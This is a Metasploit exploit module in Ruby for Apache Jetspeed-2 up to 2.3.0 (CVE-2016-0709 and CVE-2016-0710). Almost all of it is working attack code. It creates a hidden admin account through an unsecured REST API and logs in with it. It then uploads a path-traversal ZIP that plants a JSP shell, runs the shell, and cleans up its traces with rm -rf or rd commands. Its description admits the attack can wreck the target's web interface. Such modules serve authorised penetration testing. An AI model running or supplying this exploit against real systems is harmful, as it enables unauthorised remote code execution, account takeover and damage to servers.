This Metasploit module exploits the unsecured User Manager REST API and a ZIP file path traversal in Apache Jetspeed-2, versions 2.3.0 and unknown earlier versions, to upload and execute a shell. Note: this exploit will create, use, and then delete a new admin user. Warning: in testing, exploiting the file upload clobbered the web interface beyond repair. No workaround has been found yet. Use this module at your own risk. No check will be implemented.
f98ee50658aec27fea6e1325e83c5d9c0afefcbe8bf5d2b5dab9fa93e03887b6
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Jetspeed Arbitrary File Upload',
'Description' => %q{
This module exploits the unsecured User Manager REST API and a ZIP file
path traversal in Apache Jetspeed-2, versions 2.3.0 and unknown earlier
versions, to upload and execute a shell.
Note: this exploit will create, use, and then delete a new admin user.
Warning: in testing, exploiting the file upload clobbered the web
interface beyond repair. No workaround has been found yet. Use this
module at your own risk. No check will be implemented.
},
'Author' => [
'Andreas Lindh', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
['CVE', '2016-0710'],
['CVE', '2016-0709'],
['URL', 'http://haxx.ml/post/140552592371/remote-code-execution-in-apache-jetspeed-230-and'],
['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0709'],
['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0710']
],
'DisclosureDate' => 'Mar 6 2016',
'License' => MSF_LICENSE,
'Platform' => ['linux', 'win'],
'Arch' => ARCH_JAVA,
'Privileged' => false,
'Targets' => [
['Apache Jetspeed <= 2.3.0 (Linux)', 'Platform' => 'linux'],
['Apache Jetspeed <= 2.3.0 (Windows)', 'Platform' => 'win']
],
'DefaultTarget' => 0
))
register_options([
Opt::RPORT(8080)
])
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_warning(msg='')
super("#{peer} - #{msg}")
end
def exploit
print_status("Creating admin user: #{username}:#{password}")
create_admin_user
# This was originally a typo... but we're having so much fun!
print_status('Kenny Loggins in')
kenny_loggins
print_warning('You have entered the Danger Zone')
print_status("Uploading payload ZIP: #{zip_filename}")
upload_payload_zip
print_status("Executing JSP shell: /jetspeed/#{jsp_filename}")
exec_jsp_shell
end
def cleanup
print_status("Deleting user: #{username}")
delete_user
super
end
#
# Exploit methods
#
def create_admin_user
send_request_cgi(
'method' => 'POST',
'uri' => '/jetspeed/services/usermanager/users',
'vars_post' => {
'name' => username,
'password' => password,
'password_confirm' => password
}
)
send_request_cgi(
'method' => 'POST',
'uri' => "/jetspeed/services/usermanager/users/#{username}",
'vars_post' => {
'user_enabled' => 'true',
'roles' => 'admin'
}
)
end
def kenny_loggins
res = send_request_cgi(
'method' => 'GET',
'uri' => '/jetspeed/login/redirector'
)
res = send_request_cgi!(
'method' => 'POST',
'uri' => '/jetspeed/login/j_security_check',
'cookie' => res.get_cookies,
'vars_post' => {
'j_username' => username,
'j_password' => password
}
)
@cookie = res.get_cookies
end
# Let's pretend we're mechanize
def import_file
res = send_request_cgi(
'method' => 'GET',
'uri' => '/jetspeed/portal/Administrative/site.psml',
'cookie' => @cookie
)
html = res.get_html_document
import_export = html.at('//a[*//text() = "Import/Export"]/@href')
res = send_request_cgi!(
'method' => 'POST',
'uri' => import_export,
'cookie' => @cookie
)
html = res.get_html_document
html.at('//form[*//text() = "Import File"]/@action')
end
def upload_payload_zip
zip = Rex::Zip::Archive.new
zip.add_file("../../webapps/jetspeed/#{jsp_filename}", payload.encoded)
mime = Rex::MIME::Message.new
mime.add_part(zip.pack, 'application/zip', 'binary',
%Q{form-data; name="fileInput"; filename="#{zip_filename}"})
mime.add_part('on', nil, nil, 'form-data; name="copyIdsOnImport"')
mime.add_part('Import', nil, nil, 'form-data; name="uploadFile"')
case target['Platform']
when 'linux'
register_files_for_cleanup("../webapps/jetspeed/#{jsp_filename}")
register_files_for_cleanup("../temp/#{username}/#{zip_filename}")
when 'win'
register_files_for_cleanup("..\\webapps\\jetspeed\\#{jsp_filename}")
register_files_for_cleanup("..\\temp\\#{username}\\#{zip_filename}")
end
send_request_cgi(
'method' => 'POST',
'uri' => import_file,
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'cookie' => @cookie,
'data' => mime.to_s
)
end
def exec_jsp_shell
send_request_cgi(
'method' => 'GET',
'uri' => "/jetspeed/#{jsp_filename}",
'cookie' => @cookie
)
end
#
# Cleanup methods
#
def delete_user
send_request_cgi(
'method' => 'DELETE',
'uri' => "/jetspeed/services/usermanager/users/#{username}"
)
end
# XXX: This is a hack because FileDropper doesn't delete directories
def on_new_session(session)
super
case target['Platform']
when 'linux'
print_status("Deleting user temp directory: ../temp/#{username}")
session.shell_command_token("rm -rf ../temp/#{username}")
when 'win'
print_status("Deleting user temp directory: ..\\temp\\#{username}")
session.shell_command_token("rd /s /q ..\\temp\\#{username}")
end
end
#
# Utility methods
#
def username
@username ||= Rex::Text.rand_text_alpha_lower(8)
end
def password
@password ||= Rex::Text.rand_text_alphanumeric(8)
end
def jsp_filename
@jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp'
end
def zip_filename
@zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
end
end